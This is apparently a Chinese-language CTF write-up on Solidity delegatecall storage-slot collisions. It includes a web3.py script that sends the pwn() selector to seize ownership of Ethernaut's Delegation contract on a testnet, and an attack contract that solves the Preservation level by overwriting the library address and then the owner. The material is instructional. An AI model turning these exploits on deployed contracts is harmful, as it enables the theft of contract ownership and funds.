Delegatecall(1)

wiki原理

示例

delegate.delegatecall(msg.data)这一行msg.data用户可控所以如果给msg.data传入pwn()的函数签名即可调用到Delegate覆盖owner。所以攻击就很简单了调用Delegation合约一个不存在的函数即可触发回调函数,从而利用delegatecall覆盖owner。

pragma solidity
{ #0}
.4.18;

contract Delegate {

    address public owner;

    function Delegate(address _owner) public {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {

    address public owner;
    Delegate delegate;

    function Delegation(address _delegateAddress) public {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    function() public {
        if(delegate.delegatecall(msg.data)) {
            this;
        }
    }
}

攻击

攻击脚本

import solcx
from eth_abi import abi, encode_abi
from  eth_utils import  keccak
from Crypto.Util.number import bytes_to_long
from web3 import Web3,HTTPProvider
from hexbytes import *


abi = '''[
	{
		"inputs": [
			{
				"name": "_delegateAddress",
				"type": "address"
			}
		],
		"payable": false,
		"stateMutability": "nonpayable",
		"type": "constructor"
	},
	{
		"payable": false,
		"stateMutability": "nonpayable",
		"type": "fallback"
	},
	{
		"constant": true,
		"inputs": [],
		"name": "owner",
		"outputs": [
			{
				"name": "",
				"type": "address"
			}
		],
		"payable": false,
		"stateMutability": "view",
		"type": "function"
	}
]'''

bytecode  = '''608060405234801561001057600080fd5b5060405160208061021b8339810180604052810190808051906020019092919050505080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610157806100c46000396000f300608060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680638da5cb5b146100af575b34801561004d57600080fd5b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660003660405180838380828437820191505092505050600060405180830381855af491505050005b3480156100bb57600080fd5b506100c4610106565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a7230582046ec4825857dbe8a086f8c9ca7c4f15057c7191707ed100c6c5eee654d786ccd0029'''

account_from = {
    'private_key': 'xxxxxxxx',
    'address': '0x90641D6c0691829Dd70C39EE10EA44B26ac8C5AE',
}

def SendTxn(txn,private_key):
    signed_txn = web3.eth.account.signTransaction(txn, private_key=private_key)
    # print(signed_txn)
    res = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = web3.eth.waitForTransactionReceipt(res)
    #
    print(res)
    return txn_receipt

contract_address     = Web3.toChecksumAddress("0x6d4e52Df316825C6d5d0AE6c651500C5284DDBFC")
rpc = "https://ropsten.infura.io/v3/4f2d58fd34914336830121c8c562a2bf"
web3 = Web3(HTTPProvider(rpc))

acc1 = web3.eth.account.from_key(account_from['private_key'])
print(f'Attempting to deploy from account: { account_from["address"] }')

# 4. Create contract instance
Incrementer = web3.eth.contract(abi=abi, bytecode=bytecode)

params = {
    'nonce': web3.eth.getTransactionCount(acc1.address),
    'value': web3.toWei(0,'ether'),
    'gas': 3000000,
    'gasPrice': web3.eth.gasPrice,
    'from': acc1.address,
    'to':contract_address,
    'data': HexBytes(web3.sha3(text='pwn()')).hex()[0:10]
}

tx_receipt = SendTxn(params,account_from['private_key'])

print(f'Contract deployed at address: {tx_receipt.contractAddress}')

查看结果

示例2

源码

pragma solidity
{ #0}
.4.23;

contract A {
    address public c;
    address public b;

    function test() public returns (address a) {
        a = address(this);
        b = a;
    }
}

contract B {
    address public b;
    address public c;

    function withdelegatecall(address testaddress) public {
        testaddress.delegatecall(bytes4(keccak256("test()")));
    }
}

本地调试

利用外部账户调用withdelegatecall,要调用delegatecall时的栈数据

opcode说明如下,是会保持当前合约的执行上下文,意思就是如果后面修改了合约中的storage,比如修改了slot[0],那么最终改变的时B合约的b变量因为它正好时slot[0]位置而不是示A合约的c变量。

可以看到最终在要进行sstore操作时,使用 Storage 变量时依据并不是变量名,而是变量的存储位。

wiki总结

sstore 即访存指令,可以看到写入的是 1 号存储位,1 号存储位 在 B 合约中即对应变量 c,在 A 合约中则对应变量 b,所以事实上调用 delegatecall 来使用 Storage 变量时依据并不是变量名,而是变量的存储位,这样的话我们就可以达到覆盖相关变量的目的。

ethernaut 第 16 题

合约源码

// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

先调用一次setFirstTime覆盖timeZone1Library为我们的攻击合约地址第二次调用setFirstTime就可以执行攻击合约的任意函数了。

攻击合约没啥特别的,和wiki一样。

pragma solidity
{ #0}
.6.0;

import "./source.sol";
contract attack {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;

    address instance_address = 0xAc40c9C8dADE7B9CF37aEBb49Ab49485eBD3510d;
    Preservation target = Preservation(instance_address);
    function attack1() public{
        target.setFirstTime(uint(address(this)));
    }
    function attack2() public{
        target.setFirstTime(uint(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4));
    }
    function setTime(uint _time) public {
        timeZone1Library = address(_time);
        timeZone2Library = address(_time);
        owner = address(_time);
    }
}

最后三个变量值都覆盖为一样的了